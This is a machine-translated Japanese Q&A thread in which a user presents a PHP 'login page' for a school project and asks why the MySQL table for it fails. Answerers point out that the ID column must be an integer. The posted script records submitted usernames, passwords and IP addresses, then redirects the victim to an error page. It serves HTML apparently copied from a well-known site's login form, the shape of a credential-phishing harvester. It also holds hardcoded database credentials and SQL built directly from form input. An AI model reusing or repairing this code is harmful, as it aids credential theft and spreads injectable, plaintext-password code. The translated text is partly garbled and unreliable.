2016-12-08 8 views
0

こんにちは友人今日私のデータベースにユーザーのパスを保存したログインページを作成しています。このプロジェクトは私の学校で私に与えられています。しかし、私はそれがエラー言うデータベースを作成しようとしているとき......私、こののindex.phpスクリプトの後に既に掲載のスクリーンショット...私は自分のデータをmysqlに保存することができません

[<?php 
    { //credit 
    /* 
    * 
    *by nalin 
    * 
    *PHP ver 5.1.0> 
    *Tested on 5.5.27 
    * 
    * 
    */ 
    } 
    { //config 
    error_reporting(0); //turn off error 
    //server address 
    $data\[server\] = "localhost"; 
    //user name 
    $data\[username\] = "a0103769_nalin"; 
    //password here 
    $data\[pass\] = "Hydrogen"; 
    //database name 
    $data\[db\] ="a0103769_nalin"; 
    //table name 
    $data\[db2\] ="data"; 
    //redirect when detect the username/pass is empty 
    //prevent the db getting filled with junk aka empty tables 
    $header_empty = $_SERVER\['PHP_SELF'\]; 
    //when it is logged 
    $header_success ="error.html"; 
    } 
    { //mod 
    //cloud flare ip converter 
    if(isset($_SERVER\["HTTP_CF_CONNECTING_IP"\])){ 
    $_SERVER\['REMOTE_ADDR'\] = $_SERVER\['HTTP_CF_CONNECTING_IP'\]; 
    }; 
    } 
    if(isset($_POST\[submit\])){ //Send pass & username to MYSQL 
    $id\[name\] = $_POST\[uom\]; 
    $id\[pass\] = $_POST\[pass\]; 
    $id\[ip\] = $_SERVER\[REMOTE_ADDR\]; 
    $idts = gmdate('Y-m-d h:i:s \G\M\T'); 
    {//empty filler 
    if(null == $id\[name\]){ 
    header("Location: $header_empty"); 
    die(); 
    }; 
    if(null == $id\[pass\]){ 
    header("Location: $header_empty"); 
    die(); 
    }; 
    } 
    $con = mysql_connect($data\[server\],$data\[username\],$data\[pass\]); 
    mysql_select_db("$data\[db\]",$con); 
    $sql = "INSERT INTO `$data\[db\]`.`$data\[db2\]` (`ID`, `Name`, `Pass`, `IP`, `Time`) VALUES (NULL, '$id\[name\]', '$id\[pass\]', '$id\[ip\]', '$idts')"; 
    mysql_query($sql); 
    mysql_close($con); 
    header("Location: $header_success"); 
    }; 
    if(!isset($_POST\[submit\])) { //echo the full login page 
    echo ' 
    <html lang="en" data-scribe-reduced-action-queue="true"><!--<!\[endif\]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 

MySQLのクエリ

CREATE TABLE `a0103769_nalin`.`data` (
    `ID` TEXT NULL DEFAULT NULL AUTO_INCREMENT, 
    `Name` TEXT NULL DEFAULT NULL, 
    `Password` TEXT NULL DEFAULT NULL, 
    `IP` TEXT NULL DEFAULT NULL, 
    `Time` TEXT NULL DEFAULT NULL, 
    PRIMARY KEY (`ID`) 
) 
ENGINE = InnoDB; 
+1

これらの '' \ ''はあなたのコードで何をしていますか? –

+0

@u_mulderこのphpはhtmlに埋め込まれていますので、私はこの記号を使用しました –

+0

phpのHTMLコードは、 –

答えて

0

私たちにe AUTO_INCREMENTカラムをINTではなく、浮動小数点型として定義する必要があります。

AUTO_INCREMENTは符号なしの値だけを使用するので、UNSIGNEDも使用するとよいでしょう。

CREATE TABLE a0103769_nalin.data (ID INT NULL DEFAULT NULL AUTO_INCREMENT , 
Name TEXT NULL DEFAULT NULL , Password TEXT NULL DEFAULT NULL , IP TEXT NULL  
DEFAULT NULL , Time TEXT NULL DEFAULT NULL , PRIMARY KEY (ID)) ENGINE = InnoDB; 
+0

ユーザーデータ –

+0

** ID列のINT **または答えに提供されたSQLを実行してください... – Naga

+0

ありがとうたくさんありがとうございます –

0

あなたのID列のデータ型がTEXT することはできません、それは主キー AUTO_INCREMENTが提供された画像を1としてのみINTEGER

+1

それでもユーザーデータを保存しませんMySQLは正常に作成されました –

+0

SQLクエリを... – Cocksipus

+0

'( 'Name'、' Pass'、 'IP'、 「時間」)VALUES( '$ id \ [名前\]'、 '$ id \ [パス\]'、 '$ id \ [ip \]'、 '$ idts') ' – Cocksipus

0

に使用されているとして、それは、は整数タイプでなければなりません。

enter image description here

あなたはあなたのためにIDの間違ったデータ型のエラーを取得している(P RIMARY KEY)の列。そのデータ型をTEXTからINTに変更するか、システムが必要とするint型に変更するだけで済みます。

+0

しかし、まだユーザーデータを保存していません。MySQLが正常に作成されました。 –

+0

@NalinNishant、あなたは何のエラーを表示していますか? –

関連する問題